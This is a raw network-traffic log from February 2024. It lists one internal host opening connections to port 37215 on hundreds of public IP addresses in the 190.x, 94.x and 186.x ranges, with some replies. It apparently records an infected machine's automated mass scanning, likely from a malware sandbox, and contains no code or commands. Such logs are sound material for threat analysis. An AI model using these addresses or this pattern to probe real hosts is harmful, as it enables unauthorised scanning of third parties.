Feb 19, 2024 18:36:22.046643019 CET	18052	37215	192.168.2.15	190.163.92.125
Feb 19, 2024 18:36:22.046657085 CET	18052	37215	192.168.2.15	190.211.93.101
Feb 19, 2024 18:36:22.046673059 CET	18052	37215	192.168.2.15	190.124.181.197
Feb 19, 2024 18:36:22.046694040 CET	18052	37215	192.168.2.15	190.134.107.10
Feb 19, 2024 18:36:22.046713114 CET	18052	37215	192.168.2.15	190.171.104.122
Feb 19, 2024 18:36:22.046726942 CET	18052	37215	192.168.2.15	190.125.106.133
Feb 19, 2024 18:36:22.046752930 CET	18052	37215	192.168.2.15	190.152.249.57
Feb 19, 2024 18:36:22.046765089 CET	18052	37215	192.168.2.15	190.15.243.46
Feb 19, 2024 18:36:22.046778917 CET	18052	37215	192.168.2.15	190.197.164.86
Feb 19, 2024 18:36:22.046799898 CET	18052	37215	192.168.2.15	190.3.194.6
Feb 19, 2024 18:36:22.046814919 CET	18052	37215	192.168.2.15	190.70.241.177
Feb 19, 2024 18:36:22.046829939 CET	18052	37215	192.168.2.15	190.212.6.207
Feb 19, 2024 18:36:22.046849966 CET	18052	37215	192.168.2.15	190.206.167.80
Feb 19, 2024 18:36:22.046870947 CET	18052	37215	192.168.2.15	190.37.138.21
Feb 19, 2024 18:36:22.046889067 CET	18052	37215	192.168.2.15	190.101.206.227
Feb 19, 2024 18:36:22.046900988 CET	18052	37215	192.168.2.15	190.74.169.252
Feb 19, 2024 18:36:22.046924114 CET	18052	37215	192.168.2.15	190.147.53.119
Feb 19, 2024 18:36:22.046941996 CET	18052	37215	192.168.2.15	190.32.98.59
Feb 19, 2024 18:36:22.046958923 CET	18052	37215	192.168.2.15	190.91.76.6
Feb 19, 2024 18:36:22.046976089 CET	18052	37215	192.168.2.15	190.243.159.251
Feb 19, 2024 18:36:22.046987057 CET	18052	37215	192.168.2.15	190.41.42.144
Feb 19, 2024 18:36:22.047003031 CET	18052	37215	192.168.2.15	190.13.10.209
Feb 19, 2024 18:36:22.047019005 CET	18052	37215	192.168.2.15	190.150.86.3
Feb 19, 2024 18:36:22.047034025 CET	18052	37215	192.168.2.15	190.158.188.12
Feb 19, 2024 18:36:22.047051907 CET	18052	37215	192.168.2.15	190.111.31.248
Feb 19, 2024 18:36:22.047066927 CET	18052	37215	192.168.2.15	190.13.211.86
Feb 19, 2024 18:36:22.047090054 CET	18052	37215	192.168.2.15	190.57.245.66
Feb 19, 2024 18:36:22.047110081 CET	18052	37215	192.168.2.15	190.241.117.143
Feb 19, 2024 18:36:22.047127962 CET	18052	37215	192.168.2.15	190.89.112.147
Feb 19, 2024 18:36:22.047143936 CET	18052	37215	192.168.2.15	190.50.87.193
Feb 19, 2024 18:36:22.047163010 CET	18052	37215	192.168.2.15	190.238.3.163
Feb 19, 2024 18:36:22.047180891 CET	18052	37215	192.168.2.15	190.189.16.101
Feb 19, 2024 18:36:22.047199965 CET	18052	37215	192.168.2.15	190.46.159.50
Feb 19, 2024 18:36:22.047219992 CET	18052	37215	192.168.2.15	190.201.147.155
Feb 19, 2024 18:36:22.047236919 CET	18052	37215	192.168.2.15	190.252.125.109
Feb 19, 2024 18:36:22.047251940 CET	18052	37215	192.168.2.15	190.177.17.98
Feb 19, 2024 18:36:22.047267914 CET	18052	37215	192.168.2.15	190.236.55.169
Feb 19, 2024 18:36:22.047282934 CET	18052	37215	192.168.2.15	190.89.173.91
Feb 19, 2024 18:36:22.047297955 CET	18052	37215	192.168.2.15	190.235.239.10
Feb 19, 2024 18:36:22.047316074 CET	18052	37215	192.168.2.15	190.15.118.84
Feb 19, 2024 18:36:22.047337055 CET	18052	37215	192.168.2.15	190.250.47.69
Feb 19, 2024 18:36:22.047353983 CET	18052	37215	192.168.2.15	190.220.44.246
Feb 19, 2024 18:36:22.047367096 CET	18052	37215	192.168.2.15	190.23.30.174
Feb 19, 2024 18:36:22.047385931 CET	18052	37215	192.168.2.15	190.90.26.24
Feb 19, 2024 18:36:22.047401905 CET	18052	37215	192.168.2.15	190.58.54.2
Feb 19, 2024 18:36:22.047413111 CET	18052	37215	192.168.2.15	190.200.20.100
Feb 19, 2024 18:36:22.047426939 CET	18052	37215	192.168.2.15	190.57.163.237
Feb 19, 2024 18:36:22.047445059 CET	18052	37215	192.168.2.15	190.74.193.56
Feb 19, 2024 18:36:22.047461033 CET	18052	37215	192.168.2.15	190.114.182.29
Feb 19, 2024 18:36:22.047483921 CET	18052	37215	192.168.2.15	190.65.10.73
Feb 19, 2024 18:36:22.047499895 CET	18052	37215	192.168.2.15	190.59.35.97
Feb 19, 2024 18:36:22.047514915 CET	18052	37215	192.168.2.15	190.26.77.68
Feb 19, 2024 18:36:22.047532082 CET	18052	37215	192.168.2.15	190.134.197.183
Feb 19, 2024 18:36:22.047547102 CET	18052	37215	192.168.2.15	190.223.8.108
Feb 19, 2024 18:36:22.047566891 CET	18052	37215	192.168.2.15	190.254.99.56
Feb 19, 2024 18:36:22.047588110 CET	18052	37215	192.168.2.15	190.215.10.142
Feb 19, 2024 18:36:22.047600985 CET	18052	37215	192.168.2.15	190.241.51.87
Feb 19, 2024 18:36:22.047620058 CET	18052	37215	192.168.2.15	190.202.72.128
Feb 19, 2024 18:36:22.047636986 CET	18052	37215	192.168.2.15	190.122.167.5
Feb 19, 2024 18:36:22.047652960 CET	18052	37215	192.168.2.15	190.161.112.182
Feb 19, 2024 18:36:22.047676086 CET	18052	37215	192.168.2.15	190.112.203.218
Feb 19, 2024 18:36:22.047694921 CET	18052	37215	192.168.2.15	190.86.3.208
Feb 19, 2024 18:36:22.047712088 CET	18052	37215	192.168.2.15	190.217.51.176
Feb 19, 2024 18:36:22.047724962 CET	18052	37215	192.168.2.15	190.49.59.193
Feb 19, 2024 18:36:22.047746897 CET	18052	37215	192.168.2.15	190.95.139.5
Feb 19, 2024 18:36:22.047763109 CET	18052	37215	192.168.2.15	190.43.86.59
Feb 19, 2024 18:36:22.047784090 CET	18052	37215	192.168.2.15	190.115.185.160
Feb 19, 2024 18:36:22.047797918 CET	18052	37215	192.168.2.15	190.45.228.204
Feb 19, 2024 18:36:22.047818899 CET	18052	37215	192.168.2.15	190.210.171.237
Feb 19, 2024 18:36:22.047832012 CET	18052	37215	192.168.2.15	190.4.107.102
Feb 19, 2024 18:36:22.047852993 CET	18052	37215	192.168.2.15	190.111.141.64
Feb 19, 2024 18:36:22.047872066 CET	18052	37215	192.168.2.15	190.77.14.170
Feb 19, 2024 18:36:22.047888041 CET	18052	37215	192.168.2.15	190.50.207.104
Feb 19, 2024 18:36:22.047899008 CET	18052	37215	192.168.2.15	190.157.194.198
Feb 19, 2024 18:36:22.047919035 CET	18052	37215	192.168.2.15	190.7.19.46
Feb 19, 2024 18:36:22.047934055 CET	18052	37215	192.168.2.15	190.211.192.14
Feb 19, 2024 18:36:22.047951937 CET	18052	37215	192.168.2.15	190.64.186.95
Feb 19, 2024 18:36:22.047961950 CET	18052	37215	192.168.2.15	190.169.245.70
Feb 19, 2024 18:36:22.047981977 CET	18052	37215	192.168.2.15	190.173.190.58
Feb 19, 2024 18:36:22.047996044 CET	18052	37215	192.168.2.15	190.70.242.171
Feb 19, 2024 18:36:22.048013926 CET	18052	37215	192.168.2.15	190.121.82.143
Feb 19, 2024 18:36:22.048037052 CET	18052	37215	192.168.2.15	190.61.186.219
Feb 19, 2024 18:36:22.048051119 CET	18052	37215	192.168.2.15	190.213.122.227
Feb 19, 2024 18:36:22.048067093 CET	18052	37215	192.168.2.15	190.9.36.20
Feb 19, 2024 18:36:22.048082113 CET	18052	37215	192.168.2.15	190.142.45.21
Feb 19, 2024 18:36:22.048098087 CET	18052	37215	192.168.2.15	190.117.27.251
Feb 19, 2024 18:36:22.048124075 CET	18052	37215	192.168.2.15	190.214.111.193
Feb 19, 2024 18:36:22.048140049 CET	18052	37215	192.168.2.15	190.7.39.54
Feb 19, 2024 18:36:22.048160076 CET	18052	37215	192.168.2.15	190.251.184.117
Feb 19, 2024 18:36:22.048171997 CET	18052	37215	192.168.2.15	190.163.112.239
Feb 19, 2024 18:36:22.048192024 CET	18052	37215	192.168.2.15	190.1.171.111
Feb 19, 2024 18:36:22.048208952 CET	18052	37215	192.168.2.15	190.84.29.205
Feb 19, 2024 18:36:22.048226118 CET	18052	37215	192.168.2.15	190.177.235.252
Feb 19, 2024 18:36:22.048240900 CET	18052	37215	192.168.2.15	190.128.175.157
Feb 19, 2024 18:36:22.048258066 CET	18052	37215	192.168.2.15	190.16.242.29
Feb 19, 2024 18:36:22.048275948 CET	18052	37215	192.168.2.15	190.25.168.226
Feb 19, 2024 18:36:22.048299074 CET	18052	37215	192.168.2.15	190.134.180.91
Feb 19, 2024 18:36:22.048316002 CET	18052	37215	192.168.2.15	190.98.85.215
Feb 19, 2024 18:36:22.048326015 CET	18052	37215	192.168.2.15	190.229.218.190
Feb 19, 2024 18:36:22.048340082 CET	18052	37215	192.168.2.15	190.157.212.62
Feb 19, 2024 18:36:22.048355103 CET	18052	37215	192.168.2.15	190.8.157.49
Feb 19, 2024 18:36:22.048371077 CET	18052	37215	192.168.2.15	190.161.104.191
Feb 19, 2024 18:36:22.048398018 CET	18052	37215	192.168.2.15	190.227.101.9
Feb 19, 2024 18:36:22.048409939 CET	18052	37215	192.168.2.15	190.234.69.175
Feb 19, 2024 18:36:22.048432112 CET	18052	37215	192.168.2.15	190.108.70.94
Feb 19, 2024 18:36:22.048449039 CET	18052	37215	192.168.2.15	190.148.104.70
Feb 19, 2024 18:36:22.048459053 CET	18052	37215	192.168.2.15	190.242.70.141
Feb 19, 2024 18:36:22.048480034 CET	18052	37215	192.168.2.15	190.41.5.159
Feb 19, 2024 18:36:22.048497915 CET	18052	37215	192.168.2.15	190.217.202.143
Feb 19, 2024 18:36:22.048511028 CET	18052	37215	192.168.2.15	190.80.233.222
Feb 19, 2024 18:36:22.048527956 CET	18052	37215	192.168.2.15	190.42.76.19
Feb 19, 2024 18:36:22.048542976 CET	18052	37215	192.168.2.15	190.152.83.80
Feb 19, 2024 18:36:22.048559904 CET	18052	37215	192.168.2.15	190.242.155.102
Feb 19, 2024 18:36:22.048578024 CET	18052	37215	192.168.2.15	190.44.149.41
Feb 19, 2024 18:36:22.048593998 CET	18052	37215	192.168.2.15	190.70.157.8
Feb 19, 2024 18:36:22.048613071 CET	18052	37215	192.168.2.15	190.155.143.14
Feb 19, 2024 18:36:22.048633099 CET	18052	37215	192.168.2.15	190.50.109.11
Feb 19, 2024 18:36:22.048652887 CET	18052	37215	192.168.2.15	190.94.241.32
Feb 19, 2024 18:36:22.048665047 CET	18052	37215	192.168.2.15	190.86.16.176
Feb 19, 2024 18:36:22.048686028 CET	18052	37215	192.168.2.15	190.177.31.200
Feb 19, 2024 18:36:22.048698902 CET	18052	37215	192.168.2.15	190.86.247.95
Feb 19, 2024 18:36:22.048717022 CET	18052	37215	192.168.2.15	190.73.244.136
Feb 19, 2024 18:36:22.048732996 CET	18052	37215	192.168.2.15	190.51.220.57
Feb 19, 2024 18:36:22.048744917 CET	18052	37215	192.168.2.15	190.228.146.8
Feb 19, 2024 18:36:22.048763037 CET	18052	37215	192.168.2.15	190.195.147.233
Feb 19, 2024 18:36:22.048778057 CET	18052	37215	192.168.2.15	190.75.16.91
Feb 19, 2024 18:36:22.048799038 CET	18052	37215	192.168.2.15	190.138.127.93
Feb 19, 2024 18:36:22.048811913 CET	18052	37215	192.168.2.15	190.183.20.152
Feb 19, 2024 18:36:22.048829079 CET	18052	37215	192.168.2.15	190.250.81.3
Feb 19, 2024 18:36:22.048850060 CET	18052	37215	192.168.2.15	190.247.138.75
Feb 19, 2024 18:36:22.048861027 CET	18052	37215	192.168.2.15	190.234.222.176
Feb 19, 2024 18:36:22.048880100 CET	18052	37215	192.168.2.15	190.114.17.7
Feb 19, 2024 18:36:22.048971891 CET	18052	37215	192.168.2.15	190.221.152.201
Feb 19, 2024 18:36:22.048989058 CET	18052	37215	192.168.2.15	190.183.168.137
Feb 19, 2024 18:36:22.049005032 CET	18052	37215	192.168.2.15	190.186.132.157
Feb 19, 2024 18:36:22.049019098 CET	18052	37215	192.168.2.15	190.216.180.73
Feb 19, 2024 18:36:22.049035072 CET	18052	37215	192.168.2.15	190.195.69.133
Feb 19, 2024 18:36:22.049051046 CET	18052	37215	192.168.2.15	190.219.200.175
Feb 19, 2024 18:36:22.049071074 CET	18052	37215	192.168.2.15	190.230.51.118
Feb 19, 2024 18:36:22.049087048 CET	18052	37215	192.168.2.15	190.104.252.88
Feb 19, 2024 18:36:22.049107075 CET	18052	37215	192.168.2.15	190.234.190.91
Feb 19, 2024 18:36:22.049119949 CET	18052	37215	192.168.2.15	190.236.15.122
Feb 19, 2024 18:36:22.049138069 CET	18052	37215	192.168.2.15	190.41.6.231
Feb 19, 2024 18:36:22.049160004 CET	18052	37215	192.168.2.15	190.213.166.111
Feb 19, 2024 18:36:22.049170017 CET	18052	37215	192.168.2.15	190.226.244.218
Feb 19, 2024 18:36:22.049186945 CET	18052	37215	192.168.2.15	190.235.250.186
Feb 19, 2024 18:36:22.049206018 CET	18052	37215	192.168.2.15	190.53.66.151
Feb 19, 2024 18:36:22.049221039 CET	18052	37215	192.168.2.15	190.155.207.98
Feb 19, 2024 18:36:22.049240112 CET	18052	37215	192.168.2.15	190.22.62.203
Feb 19, 2024 18:36:22.049257994 CET	18052	37215	192.168.2.15	190.144.102.196
Feb 19, 2024 18:36:22.049278021 CET	18052	37215	192.168.2.15	190.101.222.60
Feb 19, 2024 18:36:22.049282074 CET	18052	37215	192.168.2.15	190.224.251.111
Feb 19, 2024 18:36:22.049299955 CET	18052	37215	192.168.2.15	190.194.94.227
Feb 19, 2024 18:36:22.049315929 CET	18052	37215	192.168.2.15	190.213.32.153
Feb 19, 2024 18:36:22.049333096 CET	18052	37215	192.168.2.15	190.182.237.171
Feb 19, 2024 18:36:22.049349070 CET	18052	37215	192.168.2.15	190.88.248.104
Feb 19, 2024 18:36:22.049365044 CET	18052	37215	192.168.2.15	190.233.114.169
Feb 19, 2024 18:36:22.049384117 CET	18052	37215	192.168.2.15	190.196.217.189
Feb 19, 2024 18:36:22.049401045 CET	18052	37215	192.168.2.15	190.253.105.142
Feb 19, 2024 18:36:22.049422979 CET	18052	37215	192.168.2.15	190.157.23.179
Feb 19, 2024 18:36:22.049436092 CET	18052	37215	192.168.2.15	190.65.36.162
Feb 19, 2024 18:36:22.049453974 CET	18052	37215	192.168.2.15	190.83.162.174
Feb 19, 2024 18:36:22.049470901 CET	18052	37215	192.168.2.15	190.98.36.105
Feb 19, 2024 18:36:22.049489021 CET	18052	37215	192.168.2.15	190.217.237.211
Feb 19, 2024 18:36:22.049508095 CET	18052	37215	192.168.2.15	190.39.161.4
Feb 19, 2024 18:36:22.049525023 CET	18052	37215	192.168.2.15	190.52.77.169
Feb 19, 2024 18:36:22.049541950 CET	18052	37215	192.168.2.15	190.62.54.25
Feb 19, 2024 18:36:22.049559116 CET	18052	37215	192.168.2.15	190.134.230.64
Feb 19, 2024 18:36:22.049679995 CET	37130	37215	192.168.2.15	94.123.26.224
Feb 19, 2024 18:36:22.049726963 CET	46744	37215	192.168.2.15	94.120.157.90
Feb 19, 2024 18:36:22.049765110 CET	59322	37215	192.168.2.15	94.123.70.165
Feb 19, 2024 18:36:22.049808025 CET	47188	37215	192.168.2.15	94.123.31.62
Feb 19, 2024 18:36:22.049844980 CET	51308	37215	192.168.2.15	94.120.241.149
Feb 19, 2024 18:36:22.049890041 CET	59124	37215	192.168.2.15	94.121.75.18
Feb 19, 2024 18:36:22.049921989 CET	33910	37215	192.168.2.15	94.123.28.213
Feb 19, 2024 18:36:22.049956083 CET	46914	37215	192.168.2.15	94.121.115.61
Feb 19, 2024 18:36:22.049993992 CET	48858	37215	192.168.2.15	94.121.117.124
Feb 19, 2024 18:36:22.050026894 CET	51680	37215	192.168.2.15	94.121.61.67
Feb 19, 2024 18:36:22.050067902 CET	37518	37215	192.168.2.15	94.121.188.41
Feb 19, 2024 18:36:22.050112963 CET	57150	37215	192.168.2.15	94.123.68.80
Feb 19, 2024 18:36:22.050146103 CET	38596	37215	192.168.2.15	94.123.123.8
Feb 19, 2024 18:36:22.050183058 CET	42970	37215	192.168.2.15	94.122.13.243
Feb 19, 2024 18:36:22.050221920 CET	59224	37215	192.168.2.15	94.123.111.123
Feb 19, 2024 18:36:22.050256014 CET	57108	37215	192.168.2.15	94.120.227.12
Feb 19, 2024 18:36:22.050299883 CET	41814	37215	192.168.2.15	94.122.84.186
Feb 19, 2024 18:36:22.050334930 CET	49806	37215	192.168.2.15	94.121.96.158
Feb 19, 2024 18:36:22.050378084 CET	45592	37215	192.168.2.15	94.121.212.153
Feb 19, 2024 18:36:22.050419092 CET	52530	37215	192.168.2.15	94.120.2.253
Feb 19, 2024 18:36:22.050446987 CET	48622	37215	192.168.2.15	94.121.33.253
Feb 19, 2024 18:36:22.168955088 CET	37215	18052	190.4.12.73	192.168.2.15
Feb 19, 2024 18:36:22.175537109 CET	37215	18052	190.5.92.109	192.168.2.15
Feb 19, 2024 18:36:22.177505016 CET	37215	18052	190.131.207.23	192.168.2.15
Feb 19, 2024 18:36:22.182307959 CET	37215	18052	190.124.38.153	192.168.2.15
Feb 19, 2024 18:36:22.182451963 CET	37215	18052	190.6.206.250	192.168.2.15
Feb 19, 2024 18:36:22.184408903 CET	37215	18052	190.213.48.227	192.168.2.15
Feb 19, 2024 18:36:22.188179970 CET	37215	18052	190.88.114.178	192.168.2.15
Feb 19, 2024 18:36:22.188687086 CET	37215	18052	190.147.0.26	192.168.2.15
Feb 19, 2024 18:36:22.195698977 CET	37215	18052	190.27.102.236	192.168.2.15
Feb 19, 2024 18:36:22.197038889 CET	37215	18052	190.143.71.156	192.168.2.15
Feb 19, 2024 18:36:22.197496891 CET	37215	18052	190.73.149.84	192.168.2.15
Feb 19, 2024 18:36:22.199059010 CET	37215	18052	190.119.67.177	192.168.2.15
Feb 19, 2024 18:36:22.199609041 CET	37215	18052	190.242.40.227	192.168.2.15
Feb 19, 2024 18:36:22.200506926 CET	37215	18052	190.28.49.135	192.168.2.15
Feb 19, 2024 18:36:22.200872898 CET	37215	18052	190.216.162.44	192.168.2.15
Feb 19, 2024 18:36:22.202255011 CET	37215	18052	190.152.182.191	192.168.2.15
Feb 19, 2024 18:36:22.204313993 CET	37215	18052	190.156.50.213	192.168.2.15
Feb 19, 2024 18:36:22.204382896 CET	37215	18052	190.79.245.175	192.168.2.15
Feb 19, 2024 18:36:22.205476999 CET	37215	18052	190.26.29.201	192.168.2.15
Feb 19, 2024 18:36:22.206974983 CET	37215	18052	190.0.15.185	192.168.2.15
Feb 19, 2024 18:36:22.207477093 CET	37215	18052	190.1.215.118	192.168.2.15
Feb 19, 2024 18:36:22.207736969 CET	37215	18052	190.171.92.74	192.168.2.15
Feb 19, 2024 18:36:22.208791971 CET	37215	18052	190.144.117.188	192.168.2.15
Feb 19, 2024 18:36:22.209737062 CET	37215	18052	190.26.51.239	192.168.2.15
Feb 19, 2024 18:36:22.212956905 CET	37215	18052	190.73.237.133	192.168.2.15
Feb 19, 2024 18:36:22.214453936 CET	37215	18052	190.5.211.42	192.168.2.15
Feb 19, 2024 18:36:22.216487885 CET	37215	18052	190.219.197.76	192.168.2.15
Feb 19, 2024 18:36:22.217247963 CET	37215	18052	190.144.102.196	192.168.2.15
Feb 19, 2024 18:36:22.218816996 CET	37215	18052	190.141.88.65	192.168.2.15
Feb 19, 2024 18:36:22.223433018 CET	37215	18052	190.25.96.189	192.168.2.15
Feb 19, 2024 18:36:22.225471020 CET	37215	18052	190.102.140.180	192.168.2.15
Feb 19, 2024 18:36:22.232338905 CET	37215	18052	190.153.148.180	192.168.2.15
Feb 19, 2024 18:36:22.233019114 CET	37215	18052	190.79.18.81	192.168.2.15
Feb 19, 2024 18:36:22.236219883 CET	37215	18052	190.43.92.44	192.168.2.15
Feb 19, 2024 18:36:22.240607977 CET	37215	18052	190.153.167.52	192.168.2.15
Feb 19, 2024 18:36:22.245553970 CET	37215	18052	190.124.246.90	192.168.2.15
Feb 19, 2024 18:36:22.248215914 CET	37215	18052	190.95.24.52	192.168.2.15
Feb 19, 2024 18:36:22.249600887 CET	37215	18052	190.95.126.77	192.168.2.15
Feb 19, 2024 18:36:22.249739885 CET	37215	18052	190.196.39.122	192.168.2.15
Feb 19, 2024 18:36:22.250089884 CET	37215	18052	190.112.182.114	192.168.2.15
Feb 19, 2024 18:36:22.265557051 CET	37215	42970	94.122.13.243	192.168.2.15
Feb 19, 2024 18:36:22.265670061 CET	42970	37215	192.168.2.15	94.122.13.243
Feb 19, 2024 18:36:22.265839100 CET	18052	37215	192.168.2.15	186.200.127.243
Feb 19, 2024 18:36:22.265872955 CET	18052	37215	192.168.2.15	186.1.53.74
Feb 19, 2024 18:36:22.265881062 CET	18052	37215	192.168.2.15	186.213.94.188
Feb 19, 2024 18:36:22.265881062 CET	18052	37215	192.168.2.15	186.41.32.217
Feb 19, 2024 18:36:22.265899897 CET	18052	37215	192.168.2.15	186.239.71.107
Feb 19, 2024 18:36:22.265918016 CET	18052	37215	192.168.2.15	186.23.216.95
Feb 19, 2024 18:36:22.265928030 CET	18052	37215	192.168.2.15	186.232.112.224
Feb 19, 2024 18:36:22.265953064 CET	18052	37215	192.168.2.15	186.165.84.160
Feb 19, 2024 18:36:22.265965939 CET	18052	37215	192.168.2.15	186.94.6.162
Feb 19, 2024 18:36:22.265973091 CET	18052	37215	192.168.2.15	186.124.218.240
Feb 19, 2024 18:36:22.265995026 CET	18052	37215	192.168.2.15	186.239.214.54
Feb 19, 2024 18:36:22.266009092 CET	18052	37215	192.168.2.15	186.232.220.233
Feb 19, 2024 18:36:22.266020060 CET	18052	37215	192.168.2.15	186.148.187.74
Feb 19, 2024 18:36:22.266035080 CET	18052	37215	192.168.2.15	186.61.50.137
Feb 19, 2024 18:36:22.266051054 CET	18052	37215	192.168.2.15	186.85.34.76
Feb 19, 2024 18:36:22.266071081 CET	18052	37215	192.168.2.15	186.106.13.200
Feb 19, 2024 18:36:22.266084909 CET	18052	37215	192.168.2.15	186.251.220.0
Feb 19, 2024 18:36:22.266110897 CET	18052	37215	192.168.2.15	186.7.48.239
Feb 19, 2024 18:36:22.266122103 CET	18052	37215	192.168.2.15	186.71.152.166
Feb 19, 2024 18:36:22.266134024 CET	18052	37215	192.168.2.15	186.168.180.65
Feb 19, 2024 18:36:22.266134977 CET	18052	37215	192.168.2.15	186.11.56.28
Feb 19, 2024 18:36:22.266150951 CET	18052	37215	192.168.2.15	186.5.21.90
Feb 19, 2024 18:36:22.266181946 CET	18052	37215	192.168.2.15	186.204.243.1
Feb 19, 2024 18:36:22.266182899 CET	18052	37215	192.168.2.15	186.61.48.109
Feb 19, 2024 18:36:22.266196012 CET	18052	37215	192.168.2.15	186.235.134.50
Feb 19, 2024 18:36:22.266207933 CET	18052	37215	192.168.2.15	186.159.157.170
Feb 19, 2024 18:36:22.266243935 CET	18052	37215	192.168.2.15	186.86.191.124
Feb 19, 2024 18:36:22.266249895 CET	18052	37215	192.168.2.15	186.155.47.13
Feb 19, 2024 18:36:22.266256094 CET	18052	37215	192.168.2.15	186.155.190.213
Feb 19, 2024 18:36:22.266263008 CET	18052	37215	192.168.2.15	186.15.155.162
Feb 19, 2024 18:36:22.266280890 CET	18052	37215	192.168.2.15	186.193.71.126
Feb 19, 2024 18:36:22.266293049 CET	18052	37215	192.168.2.15	186.114.180.15
Feb 19, 2024 18:36:22.266303062 CET	18052	37215	192.168.2.15	186.167.30.21
Feb 19, 2024 18:36:22.266318083 CET	18052	37215	192.168.2.15	186.189.167.135
Feb 19, 2024 18:36:22.266336918 CET	18052	37215	192.168.2.15	186.53.183.152
Feb 19, 2024 18:36:22.266351938 CET	18052	37215	192.168.2.15	186.225.137.83
Feb 19, 2024 18:36:22.266370058 CET	18052	37215	192.168.2.15	186.153.46.148
Feb 19, 2024 18:36:22.266412973 CET	18052	37215	192.168.2.15	186.112.114.159
Feb 19, 2024 18:36:22.266416073 CET	18052	37215	192.168.2.15	186.13.248.106
Feb 19, 2024 18:36:22.266427040 CET	18052	37215	192.168.2.15	186.181.22.179
Feb 19, 2024 18:36:22.266463041 CET	18052	37215	192.168.2.15	186.57.95.133
Feb 19, 2024 18:36:22.266477108 CET	18052	37215	192.168.2.15	186.14.5.218
Feb 19, 2024 18:36:22.266494989 CET	18052	37215	192.168.2.15	186.57.101.9
Feb 19, 2024 18:36:22.266510010 CET	18052	37215	192.168.2.15	186.181.182.202
Feb 19, 2024 18:36:22.266525984 CET	18052	37215	192.168.2.15	186.164.120.245
Feb 19, 2024 18:36:22.266541004 CET	18052	37215	192.168.2.15	186.168.245.92
Feb 19, 2024 18:36:22.266541004 CET	18052	37215	192.168.2.15	186.210.214.7
Feb 19, 2024 18:36:22.266551971 CET	18052	37215	192.168.2.15	186.184.227.97
Feb 19, 2024 18:36:22.266562939 CET	18052	37215	192.168.2.15	186.104.213.35
Feb 19, 2024 18:36:22.266583920 CET	18052	37215	192.168.2.15	186.213.190.106
Feb 19, 2024 18:36:22.266601086 CET	18052	37215	192.168.2.15	186.15.48.88
Feb 19, 2024 18:36:22.266614914 CET	18052	37215	192.168.2.15	186.63.36.198
Feb 19, 2024 18:36:22.266630888 CET	18052	37215	192.168.2.15	186.183.37.151
Feb 19, 2024 18:36:22.266650915 CET	18052	37215	192.168.2.15	186.160.33.73
Feb 19, 2024 18:36:22.266659975 CET	18052	37215	192.168.2.15	186.225.156.47
Feb 19, 2024 18:36:22.266680002 CET	18052	37215	192.168.2.15	186.69.104.38
Feb 19, 2024 18:36:22.266690969 CET	18052	37215	192.168.2.15	186.131.140.181
Feb 19, 2024 18:36:22.266707897 CET	18052	37215	192.168.2.15	186.50.46.226
Feb 19, 2024 18:36:22.266721964 CET	18052	37215	192.168.2.15	186.24.139.208
Feb 19, 2024 18:36:22.266741037 CET	18052	37215	192.168.2.15	186.154.135.177
Feb 19, 2024 18:36:22.266757011 CET	18052	37215	192.168.2.15	186.169.134.74
Feb 19, 2024 18:36:22.266765118 CET	18052	37215	192.168.2.15	186.78.23.130
Feb 19, 2024 18:36:22.266782999 CET	18052	37215	192.168.2.15	186.6.156.23
Feb 19, 2024 18:36:22.266798973 CET	18052	37215	192.168.2.15	186.103.126.76
Feb 19, 2024 18:36:22.266824007 CET	18052	37215	192.168.2.15	186.129.206.104
Feb 19, 2024 18:36:22.266824961 CET	18052	37215	192.168.2.15	186.154.46.171
Feb 19, 2024 18:36:22.266843081 CET	18052	37215	192.168.2.15	186.7.115.108
Feb 19, 2024 18:36:22.266854048 CET	18052	37215	192.168.2.15	186.2.224.4
Feb 19, 2024 18:36:22.266865015 CET	18052	37215	192.168.2.15	186.108.66.254
Feb 19, 2024 18:36:22.266901970 CET	18052	37215	192.168.2.15	186.222.114.17
Feb 19, 2024 18:36:22.266901970 CET	18052	37215	192.168.2.15	186.148.169.17
Feb 19, 2024 18:36:22.266913891 CET	18052	37215	192.168.2.15	186.153.187.170
Feb 19, 2024 18:36:22.266928911 CET	18052	37215	192.168.2.15	186.144.108.60
Feb 19, 2024 18:36:22.266949892 CET	18052	37215	192.168.2.15	186.95.143.154
Feb 19, 2024 18:36:22.266963005 CET	18052	37215	192.168.2.15	186.179.175.75
Feb 19, 2024 18:36:22.266976118 CET	18052	37215	192.168.2.15	186.188.75.0
Feb 19, 2024 18:36:22.266988039 CET	18052	37215	192.168.2.15	186.43.179.208
Feb 19, 2024 18:36:22.267002106 CET	18052	37215	192.168.2.15	186.15.95.140
Feb 19, 2024 18:36:22.267019033 CET	18052	37215	192.168.2.15	186.125.103.184
Feb 19, 2024 18:36:22.267040014 CET	18052	37215	192.168.2.15	186.137.16.109
Feb 19, 2024 18:36:22.267051935 CET	18052	37215	192.168.2.15	186.172.157.24
Feb 19, 2024 18:36:22.267082930 CET	18052	37215	192.168.2.15	186.59.154.0
Feb 19, 2024 18:36:22.267117977 CET	18052	37215	192.168.2.15	186.146.227.74
Feb 19, 2024 18:36:22.267132998 CET	18052	37215	192.168.2.15	186.138.186.202
Feb 19, 2024 18:36:22.267132998 CET	18052	37215	192.168.2.15	186.66.164.238
Feb 19, 2024 18:36:22.267148018 CET	18052	37215	192.168.2.15	186.227.189.97
Feb 19, 2024 18:36:22.267175913 CET	18052	37215	192.168.2.15	186.208.181.109
Feb 19, 2024 18:36:22.267189980 CET	18052	37215	192.168.2.15	186.7.210.44
Feb 19, 2024 18:36:22.267190933 CET	18052	37215	192.168.2.15	186.175.84.119
Feb 19, 2024 18:36:22.267205000 CET	18052	37215	192.168.2.15	186.187.127.144
Feb 19, 2024 18:36:22.267215967 CET	18052	37215	192.168.2.15	186.157.129.159
Feb 19, 2024 18:36:22.267231941 CET	18052	37215	192.168.2.15	186.214.126.207
Feb 19, 2024 18:36:22.267251968 CET	18052	37215	192.168.2.15	186.219.118.214
Feb 19, 2024 18:36:22.267263889 CET	18052	37215	192.168.2.15	186.23.134.202
Feb 19, 2024 18:36:22.267280102 CET	18052	37215	192.168.2.15	186.147.89.137
Feb 19, 2024 18:36:22.267297029 CET	18052	37215	192.168.2.15	186.162.154.50
Feb 19, 2024 18:36:22.267308950 CET	18052	37215	192.168.2.15	186.44.192.12
Feb 19, 2024 18:36:22.267328978 CET	18052	37215	192.168.2.15	186.163.159.203
Feb 19, 2024 18:36:22.267344952 CET	18052	37215	192.168.2.15	186.71.97.159
Feb 19, 2024 18:36:22.267360926 CET	18052	37215	192.168.2.15	186.178.235.58
Feb 19, 2024 18:36:22.267371893 CET	18052	37215	192.168.2.15	186.241.212.110
Feb 19, 2024 18:36:22.267393112 CET	18052	37215	192.168.2.15	186.26.115.220
